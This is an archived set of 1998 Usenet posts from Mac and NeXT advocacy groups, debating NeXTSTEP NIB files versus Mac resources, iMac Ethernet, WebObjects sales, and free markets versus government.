> >> this and more is possible with Nextstep without recompiling or having any
> >> detailed knowledge of the apps structure.
> >
> >You can do all of these things on the Mac today (except the "Print menu
> >item". I don't know what you mean by that).
> >
>
>
> No, you can not !
> Resource forks contain only static descriptions of UI elements like
windows, menus...
> NIBs on the other side are simply archived object instances. That means
that you
> can not only store UI elements in it, rather every kind of object you like.
> Further more a NIB containes connection information which is used when
the NIB is
> read into an application (instanciated) to hook up the variuos objects in it.
>
> The big difference between the Mac way and the OpenStep way is that,
although you can
> add/change UI element descriptions in the resources of an app, you are
not able to
> define the necessary connections to the apps implementation.
>
> For example you could add a new Fax menu item to an Mac app, but you can
not tell
> the app to do faxing when this item is selected by the user, because the
app doesn't
> simply contain the necessary code to provide faxing functionality and/or
you are
> not able to tie the menu item to the implementation.
Nonsense.
I don't understand everything you're saying, so I can't point out _where_
you're wrong, but there are third party Mac apps which do exactly what you
just described. You can fax from any application. Case closed.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 4 Jul 1998 12:23:45 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6nl6sh$1h2@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com>
Originator: gupta@tlctest
Matthew Cromer <matthew_cromer@iname.com> wrote:
>Yes, the great, beneficent government which uses guns and taxes and
>prosecutors to grab its share of the GNP is the foundation of our
>economy, while the people who actually MAKE THINGS owe our prosperity to
>those who do not produce.
>
>1984 redux.
In my childhood, I had an argument with an old socialist, who
had the point of view that the person(s) who contribute capital
to an enterprise should only get a fixed return on the investment,
any success in the enterprise depends on the people who ACTUALLY
do the work. But today's enterprises are run for the benefit of
the owners rather than those who actually MAKE THINGS.
1984 redux.
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 4 Jul 1998 12:41:09 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6nl7t5$1jd@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net>
Originator: gupta@tlctest
Michael Peck <mjpeck@nstar.net> wrote:
>Matt Kennel wrote:
>
>> are indeed artificial constructs created by legislation and political will
>> in order to create a certain outcome for the benefit of society. If it
>> hadn't been so, why did Smith and Ricardo feel the need to write works
>> explaining and advocating it?
>
>Right. And the atom is an artificial construct, invented originally by
>Aristotle and later implemented by the likes of Neils Bohr and Albert
>Einstein. Otherwise, why did they feel the need to write works and
>construct equations describing its behavior and nature?
We believe that atoms existed long before Aristotle or Neils Bohr or
Einstein, and would exist unbeknownst to us, had we not had these
luminaries. Atoms would exist, discovered or not -- at least, that is
a fundamental assumption behind the subject of physics.
Free markets, democratic governments, Constitutions, etc. however have
no existence independent of man. They are creations of the human mind
in a way that atoms are not. They are not inevitable. We believe that
the properties of atoms do not depend on the vagaries of human
history. Atoms would remain the same in alternate worlds. But markets,
governments, Constitutions are strongly influenced and shaped by
the past, and by what humans are. An intelligent avian species might
have much less trouble with the notion of equal rights for both
genders than humans have had.
-arun gupta
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 4 Jul 1998 13:21:38 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nla92$udj$1@camel19.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <6nl6sh$1h2@newsb.netnews.att.com> <6nl7t5$1jd@newsb.netnews.att.com> <HEpn1.2362$24.13690996@news.itd.umich.edu>
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In article <6nl6sh$1h2@newsb.netnews.att.com> ,
gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
>In my childhood, I had an argument with an old socialist, who
>had the point of view that the person(s) who contribute capital
>to an enterprise should only get a fixed return on the investment,
>any success in the enterprise depends on the people who ACTUALLY
>do the work. But today's enterprises are run for the benefit of
>the owners rather than those who actually MAKE THINGS.
I'd like to see the workers make things without the use of the owner's
machinery, capital, or computers.
Of course, since workers get 80% of income and capitalists 20%, it
appears the workers have the upper hand.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 4 Jul 1998 13:26:17 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nlahp$c2q$1@camel19.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <6nl6sh$1h2@newsb.netnews.att.com> <6nl7t5$1jd@newsb.netnews.att.com> <HEpn1.2362$24.13690996@news.itd.umich.edu>
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In article <6nl7t5$1jd@newsb.netnews.att.com> ,
gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
>Free markets, democratic governments, Constitutions, etc. however have
>no existence independent of man. They are creations of the human mind
>in a way that atoms are not. They are not inevitable.
Crap. Voluntary exchange (which is the market) exists in every extant
and conceivable human society. It is inconceivable that a group of
people could ever live together without voluntary exchange. Societies
without institutionalized masters and servants (ie governments and the
governments) have certainly existed and could exist in the future.
Matthew Cromer
From: ERASE.this.dennis.scp@multiweb.nl (Dennis SCP)
Newsgroups: comp.sys.next.advocacy
Subject: Free (Microsoft Delays Win NT)
Date: Sat, 4 Jul 1998 17:47:42 +0200
Organization: Mac OS 8 Icon Update 1.0
Message-ID: <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net>
5iBX?hr:nQb&.MA|;6*WHFudDTiUxRJ'bCt|/F#Ct|'y_(I*Emh>1BP@cvz@pT]EiG%
Michael Peck <mjpeck@nstar.net> wrote:
> > that free markets (<essential quote missed)
> > are indeed artificial constructs created by legislation and political will
> > in order to create a certain outcome for the benefit of society. If it
> > hadn't been so, why did Smith and Ricardo feel the need to write works
> > explaining and advocating it?
>
> Right. And the atom is an artificial construct, invented originally by
> Aristotle and later implemented by the likes of Neils Bohr and Albert
> Einstein. Otherwise, why did they feel the need to write works and
> construct equations describing its behavior and nature?
free markets are indeed artificial constructs created by legislation and
political will to use THE POWER OF FREE MARKET MECHANISMS in order to
create a certain outcome.
Is that more clear to you?
Is there something wrong with American child fairytales? Why do
Americans believe in absolute freedom everytime the word free is
mentioned?
***
Nobody is so isolated that he can be totally free.
Dennis SCP, the 4th of July 1998
***
> The human mind is likewise an artificial construct, invented by our
> bodies to explain their behavior.
LOL, this is more true then you realise, remember that thing called
evolution? It does make your body's behavior more effecient to have a
human mind instead of a monkey's mind.:-)
Dennis SCP
--
[MS Office Assistant: Uw signature is leeg. Weet u zeker dat u niets
nuttigs aan de mensheid heeft mede te delen?]
From: ERASE.this.dennis.scp@multiweb.nl (Dennis SCP)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: iMac 100Base-T (AWESOME PRICE ON G3)
Date: Sat, 4 Jul 1998 17:47:36 +0200
Organization: Mac OS 8 Icon Update 1.0
Message-ID: <1dbnaij.t3dhix1pt2fjuN@hoorn17.multiweb.net>
References: <macghod-3006981443330001@sdn-ar-001casbarp061.dialsprint.net> <jpolaski-0107980900420001@d151-216.ce.mediaone.net> <359b270f.0@carrera> <macghod-0307981314210001@sdn-ar-001casbarp294.dialsprint.net> <stone-ya02408000R0307981731210001@news.enetis.net>
5iBX?hr:nQb&.MA|;6*WHFudDTiUxRJ'bCt|/F#Ct|'y_(I*Emh>1BP@cvz@pT]EiG%
Kevin Stone <stone@stoneentertainment.com> wrote:
> > c) yes the 100 base t is faster than the 8500's 10 base t
>
> And a bit pointless in my humble opinion. I transfer 20 Meg files over
> 10Base-T every single day... no slow down, no problem. With MacOS 8.5 this
> will be even less of an issue. I think Apple should save $50 and not
> include 100Base-T.
No, 100Base-T is a good thing. Just think about how useless those early
macs would be without AppleTalk, as secondary typewriter in your home or
as giveaway to schools.
I'm glad that Apple choose 100Base-T for connectivity instead of
FireWire. Sure FireWire will become real cool (but your not going to do
video stuff on the first iMac series) but 100Base-T will become a
standard in schools and stuff. An old iMac will become a nice NC in the
future school network. In fact it is allready a hot item for schools.
And when consummers move on to the next cool thing the good old G3 iMac
running at least Mac OS 10 will be a great budget (second hand) school
computer which will last for a decade, and it will plug in to the new
network.
For your home it wouldn't matter wheter you use your old iMac via either
100Base-T or FireWire. 100Base-T connects also to your new PC while
FireWire connects also to (future) consumer products.
But the current state of FireWire is as a high quality consummer
interface, and let's face it people in search of a FireWire computer
think 'personal video production' and are willing to spend a lot more
money then iMac's price. Apple is pretty smart, money-wise, to make
those folks buy a the more expensive PowerMac G3 and later on an
expensive 'super iMac'.
Dennis SCP
--
Nobody is so isolated that he can be totally free.
Dennis SCP, the 4th of July 1998
From: ERASE.this.dennis.scp@multiweb.nl (Dennis SCP)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 4 Jul 1998 17:47:38 +0200
Organization: Mac OS 8 Icon Update 1.0
Message-ID: <1dbncmh.kwwxex1iv1uf4N@hoorn17.multiweb.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nem06$3cg$1@lwnws01.ne.highway1.com> <andyba-ya02408000R0207980954430001@news> <6nht9l$iio$1@lwnws01.ne.highway1.com> <1998070312530900.IAA28087@ladder03.news.aol.com> <dave.pl-0407981106490001@dialup203.salzburg20.salzburg.at.eu.net> <joe.ragosta-0407980703330001@elk91.dol.net>
5iBX?hr:nQb&.MA|;6*WHFudDTiUxRJ'bCt|/F#Ct|'y_(I*Emh>1BP@cvz@pT]EiG%
Joe Ragosta <joe.ragosta@dol.net> wrote:
> Nonsense.
>
> I don't understand everything you're saying, so I can't point out _where_
> you're wrong, but there are third party Mac apps which do exactly what you
> just described. You can fax from any application. Case closed.
That's like saying Windows does what Mac does, so nobody really needs
Mac OS anymore.
Sure, we mac users got a great hack that works pretty good. But it only
works when using a program that was specificaly designed to do just
that. I can't use my Claris wordbooks in programs other than Claris
products. Wouldn't it be cool to use a function (from one program) in
all your programs without having to buy a special program that
implements it's own function system wide.
We pay twice for the same function, and that will be resolved if things
are implemeted at a system level the right way.
Dennis SCP
--
Nobody is so isolated that he can be totally free.
Dennis SCP, the 4th of July 1998
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Sat, 4 Jul 1998 18:02:12 +0200
Organization: Completely Disorganized
Message-ID: <1dbn2ki.187s3lw1ier7doN@rhrz-isdn3-p53.rhrz.uni-bonn.de>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net>
Mail-Copies-To: never
Michael Peck <mjpeck@nstar.net> wrote:
> The human mind is likewise an artificial construct, invented by our
> bodies to explain their behavior.
Yes, indeed. And it works admirably well, don't you think?
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Sat, 04 Jul 1998 12:32:34 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359E6732.F3A839A6@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <6nl7t5$1jd@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> Free markets, democratic governments, Constitutions, etc. however have
> no existence independent of man.
Actually, the statement you're mimicking is closer to "free markets have
no existence independent of *government* and *regulation*." That is
patently false.
> They are creations of the human mind
> in a way that atoms are not.
They are consequences of Man, not arbitrary creations of his mind. An
important distinction.
> They are not inevitable. We believe that
> the properties of atoms do not depend on the vagaries of human
> history.
But we *do* believe that they are subject to laws of physics, just as
free markets are subject to higher laws that determine the course of
human events. When *our* laws conflict with the greater order, just as
when man's designs ignore the laws of physics, they will fail, but not
before causing considerable trouble.
> Atoms would remain the same in alternate worlds. But markets,
> governments, Constitutions are strongly influenced and shaped by
> the past, and by what humans are. An intelligent avian species might
> have much less trouble with the notion of equal rights for both
> genders than humans have had.
I doubt it. I have David Brin on my side on this one, actually, though
he happens to believe in evolution. Read _The Uplift War_, it's
entertaining.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Sat, 04 Jul 1998 12:36:45 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359E682D.E7EE1933@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <359D156E.CE526220@exu.ericsson.se> <359D7E51.1721D116@alum.mit.edu> <359D9031.4C08DE53@nstar.net> <6nl660$1ga@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> It is interesting that all these companies whose liberty you are so
> keen to defend have had absolutely no qualms in operating in
> apartheid South Africa or communist China. It is not liberty that
> these companies need in order to operate, it is the possibility of
> profit. In the name of profit, they are willing to justify anything.
> They are no defenders of liberty, and would not care or lift one
> finger to help an oppressed people.
I don't know what is your point. I do not defend companies, I defend
liberty. Categorically focusing on *companies* is irrelevance; the local
preoccupation with "companies" sounds like so much Marxism. Oops, did I
let that out? I suppose Matt Kennel started it...
> As to what happens without government "which by definition restricts
> liberty", it becomes the rule of he can can organize the most goons
> and the most guns. Witness the warlords of Somalia.
Warlords are governing entitites. The debacle in Somalia was the result
of something like 40 different government vying for control over the
populace, over land, and over natural resources. As far as I know,
'anarchy' is the absence of government, yet Somalia's situation is
commonly described as 'pure anarchy'. Now, how the presence of over 40
governments can be called 'anarchy' is anyone's guess, but you're
welcome to try...
MJP
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 4 Jul 1998 16:49:00 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nlmds$gbr$1@camel15.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <6nlahp$c2q$1@camel19.mindspring.com> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net>
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In article <1dbn2ki.187s3lw1ier7doN@rhrz-isdn3-p53.rhrz.uni-bonn.de>
Michael Schuerig, schuerig@acm.org writes:
>Michael Peck <mjpeck@nstar.net> wrote:
>
>> The human mind is likewise an artificial construct, invented by our
>> bodies to explain their behavior.
>
>Yes, indeed. And it works admirably well, don't you think?
>
>Michael
Now we know your faith.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 4 Jul 1998 16:50:27 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nlmgj$gbr$2@camel15.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <6nlahp$c2q$1@camel19.mindspring.com> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net>
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In article <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> Dennis SCP,
ERASE.this.dennis.scp@multiweb.nl writes:
>free markets are indeed artificial constructs created by legislation and
>political will to use THE POWER OF FREE MARKET MECHANISMS in order to
>create a certain outcome.
Except that markets far predate legislation.
>
>Is that more clear to you?
>Is there something wrong with American child fairytales? Why do
>Americans believe in absolute freedom everytime the word free is
>mentioned?
There is a continum between freedom and slavery--we know which pole is
right and which is wrong.
Matthew Cromer
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: Sat, 04 Jul 1998 12:26:24 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359E65C0.77C48BC9@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net>
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Dennis SCP wrote:
> free markets are indeed artificial constructs created by legislation and
> political will to use THE POWER OF FREE MARKET MECHANISMS in order to
> create a certain outcome.
The Code of Hammurabi is the first known codified body of legislation.
It was written circa 1780 B.C. I suppose you are prepared to provide
evidence that this is the date of the founding of economic activity?
> Is that more clear to you?
> Is there something wrong with American child fairytales? Why do
> Americans believe in absolute freedom everytime the word free is
> mentioned?
You don't say what you mean by either "freedom" or "absolute freedom",
so I can't possibly answer that question.
> > The human mind is likewise an artificial construct, invented by our
> > bodies to explain their behavior.
> LOL, this is more true then you realise, remember that thing called
> evolution? It does make your body's behavior more effecient to have a
> human mind instead of a monkey's mind.:-)
Not so; the human mind was created, as was the body. Einstein himself
said that the mathematical probability of the created order being
achieved by random, unordered events in a chaotic universe is roughly
zero. I heard a similar expression of improbability: "it's roughly the
same probability as tossing a ball bearing out of a flying 747 and
hitting, say, an egg sandwich."
Actually, there's no probability involved. The thing is impossible, as
evidenced by our three laws of thermodynamics. Order does not progress
from chaos without transcendent order. Or, if you like:
1) You can't win
2) You can't break even
3) You can't leave the game
MJP
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Selling WO is hard work (was: Re: Next purchase a mistake)
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References: <6mkd25$8c44@odie.mcleod.net> <6mmd18$d2e@newsb.netnews.att.com>
<6mmhb7$eos$1@news.digifix.com> <slrn6ou6aj.h67.sal@panix3.panix.com>
<rmcassid-2206982325590001@dialin9231.slip.uci.edu> <358FF7FC.2C9034DB@alum.mit.edu>
<atlauren-2306981958020001@jungleland.acs.uci.edu> <6mrvth$1q0@ragnarok.en.uunet.de>
<3591EFF8.36B913CA@nstar.net> <6mt78i$ed3$3@leonie.object-factory.com>
<SCOTT.98Jun29134745@slave.doubleu.com>
Message-ID: <6Jtn1.130610$Kx3.28368719@news.rdc1.sdca.home.com>
Date: Sat, 04 Jul 1998 17:34:58 GMT
NNTP-Posting-Date: Sat, 04 Jul 1998 10:34:58 PDT
Organization: @Home Network
In <SCOTT.98Jun29134745@slave.doubleu.com> Scott Hess wrote:
> In article <6mt78i$ed3$3@leonie.object-factory.com>,
> holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) writes:
> Michael Peck wrote:
> > (pricing too high)
> > I think that there is a lesson in this. Call the market stupid,
> > but don't call it wrong. If people aren't buying, your product
> > isn't valuable at its price point.
>
> What makes you think WebObjects *must* be for everybody? Besides,
> people *are* buying. It's just not 'the Macintosh faithful'. It's
> people who need real-world solutions to their *very real*
> information distribution problems.
>
> But why _not_ apply WebObjects to problems that ASP can solve?
> Microsoft is going to work it the other way - they'll convince the low
> end, and then migrate to the high-end, compromising all the way.
> Resulting in a crappy solution for all. Why not start at the high end
> and migrate towards the low end? They can't just stake out their
> niche and expect that it will still be available in five years. If
> you don't actively grow, you're going to be left behind.
>
> That said, WOF is not going to be a "good" solution for most low-end
> projects, if only because it requires an upfront investment in
> thinking the project through. That investment rewards you on a mid to
> high end project, but on the very low end it really doesn't make a
> difference...
>
Admittedly, I am responding mid-thread to this topic. We have found WO sales
are both a high-end sale and follow-on consult. The types of problems WO
attracts have high content-value and consulting budgets to solve them.
Corporate WO buyers prefer large consultancies, that can deliver and support
their WOprojects.
The difficulty in selling WO is the large corporate consultancies to sell and
support WO that don't exist yet.
-r
Date: Sat, 04 Jul 1998 13:48:28 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-0407981348290001@elk41.dol.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nem06$3cg$1@lwnws01.ne.highway1.com> <andyba-ya02408000R0207980954430001@news> <6nht9l$iio$1@lwnws01.ne.highway1.com> <1998070312530900.IAA28087@ladder03.news.aol.com> <dave.pl-0407981106490001@dialup203.salzburg20.salzburg.at.eu.net> <joe.ragosta-0407980703330001@elk91.dol.net> <1dbncmh.kwwxex1iv1uf4N@hoorn17.multiweb.net>
In article <1dbncmh.kwwxex1iv1uf4N@hoorn17.multiweb.net>,
ERASE.this.dennis.scp@multiweb.nl (Dennis SCP) wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > Nonsense.
> >
> > I don't understand everything you're saying, so I can't point out _where_
> > you're wrong, but there are third party Mac apps which do exactly what you
> > just described. You can fax from any application. Case closed.
>
> That's like saying Windows does what Mac does, so nobody really needs
> Mac OS anymore.
Completely off topic.
The issue was that someone claimed that there were a bunch of things MacOS
was incapable of doing. I proved that it's not.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 04 Jul 1998 14:10:46 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Message-ID: <joe.ragosta-0407981410470001@elk41.dol.net>
References: <359A90F9.A546707D@alum.mit.edu> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <6nl6sh$1h2@newsb.netnews.att.com>
In article <6nl6sh$1h2@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Matthew Cromer <matthew_cromer@iname.com> wrote:
> >Yes, the great, beneficent government which uses guns and taxes and
> >prosecutors to grab its share of the GNP is the foundation of our
> >economy, while the people who actually MAKE THINGS owe our prosperity to
> >those who do not produce.
> >
> >1984 redux.
>
> In my childhood, I had an argument with an old socialist, who
> had the point of view that the person(s) who contribute capital
> to an enterprise should only get a fixed return on the investment,
> any success in the enterprise depends on the people who ACTUALLY
> do the work. But today's enterprises are run for the benefit of
> the owners rather than those who actually MAKE THINGS.
>
> 1984 redux.
I took a "History of Communism" course while in college. The professor
clearly believed that communism was a better system than capitalism.
During the first week, he was explaining Marx' theories. One of the major
ones is the the only determinant of value is the amount of labor it
includes. I gave him two examples:
1. By that standard, a hand made, wobbly chair is more valuable than a
high quality machine-made chair.
2. Let's assume you have a superior craftsman who makes an extremely high
quality chair. He's made so many of them that it doesn't take him that
long to do one. Now, compare it to a high school shop class where some kid
is learning to use tools for the first time and possibly has to restart
the project a few times. Because he doesn't know what he's doing, and
because he may not have the same quality of tools, it takes him longer.
According to Marx, the student's chair is worth more than the craftsman's
chair.
The rest of Marx falls flat on its face once you extend the principles of
these two examples.
I got an "A" in the course, but I think it really stuck in his craw. I
know he didn't call on me the rest of the semester.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Sat, 04 Jul 1998 16:43:15 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359EA1F3.80D949AB@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com> <359D0A6D.E3CE5D63@alum.mit.edu> <359D156E.CE526220@exu.ericsson.se> <359D7E51.1721D116@alum.mit.edu> <359D9031.4C08DE53@nstar.net> <kehn1.2330$24.13444266@news.itd.umich.edu> <359DEF04.D0755976@nstar.net> <HEpn1.2362$24.13690996@news.itd.umich.edu>
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NNTP-Posting-Date: 4 Jul 1998 21:48:28 GMT
not@my.address.net wrote:
> >This whole "law" thing is flying over your head, no?
>
> I tried to engage you on that topic and you had nothing to say.
>
> But your position is a matter of public record. Let's recap:
>
> (1) We know what you think of "the whole `law' thing": To quote, "that's
> definitely not the issue, unless you think like a lawyer. From a moral
> standpoint, that is anything but the issue."
The context being, of course, a suit in which the legitimacy of
anti-trust legislation is being questioned.
Thomas Sowell on the rule of law:
"By 'rule of law' is not meant simply that edicts are enforced but that
only laws set forth in advance can be used to punish and that only legal
enactments conforming to some accepted principles -- set forth in a
written constitution in some countries -- will be enforceable. Every
society has its rules but not every society has rule of law. When
Bertrand de Jouvenel said that law had lost its sould, he meant that the
grand concept of law was being eroded away, or prostituted, until it
became nothing more than an ensemble of rules and rulings, changeable
without notice, and reflecting little more than an arbitrary exercise of
power -- the very antithesis of law. This is the direction in which
American law has been driven by those with the vision of the anointed."
> So don't let the law deter you.
> If there's a moral argument to be made for armed aggression against the
> government, have the courage of your convictions.
I don't remember saying anything about armed aggression against the
government. Actually, I was waiting for you to say that. I was talking
about defending my home against armed aggression by interlopers.
Insurrection versus self-defense: how do you equate the two? Perhaps you
can jump through a few more verbal hoops to make it plain.
> (2) And we know what kind of moral value you attach to liberty: "liberty is
> worth fighting, even dieing for". And what with that fancy European gun you own
> and all your well-armed and similarly motivated neighbors, you're probably in a
> better position than most to do the fighting.
I don't know anything about that.
> (3) And finally we know what you think of government: "By definition
> governments restrict liberty". Moreover, it's "impossible to govern without
> oppressing" the people. And we're not talking about oppression on a small scale
> here -- we're talking about everything from sales taxes to sex education in the
> public schools.
Exactly so.
> So, the "whole `law' thing" is not the issue; you have a moral imperative to
> defend liberty, even to the point of violence; and liberty is under serious
> threat from the mere existence of the government.
>
> Like I said ... What are you waiting for?
Waiting for you to put more words into my mouth, silly. Your charade
sounds more ridiculous all the time.
MJP
From: "Dietmar Planitzer" <dave.pl@ping.at>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sun, 05 Jul 1998 00:15:50 +0200
Organization: Customer of EUnet Austria
Message-ID: <dave.pl-0507980015500001@dialup180.salzburg20.salzburg.at.eu.net>
In article <joe.ragosta-0407980703330001@elk91.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>Nonsense.
>
>I don't understand everything you're saying, so I can't point out _where_
>you're wrong, but there are third party Mac apps which do exactly what you
>just described. You can fax from any application. Case closed.
>
Joe, if you don't understand what I've posted, why do you even think that
I'm wrong ?
Obviously you completly misunderstood my post. It was not about faxing per se.
It was about NIBs and MacOS resources, because this thread is about the MacOS X
UI and not about faxing in the traditional MacOS, at least I thought so.
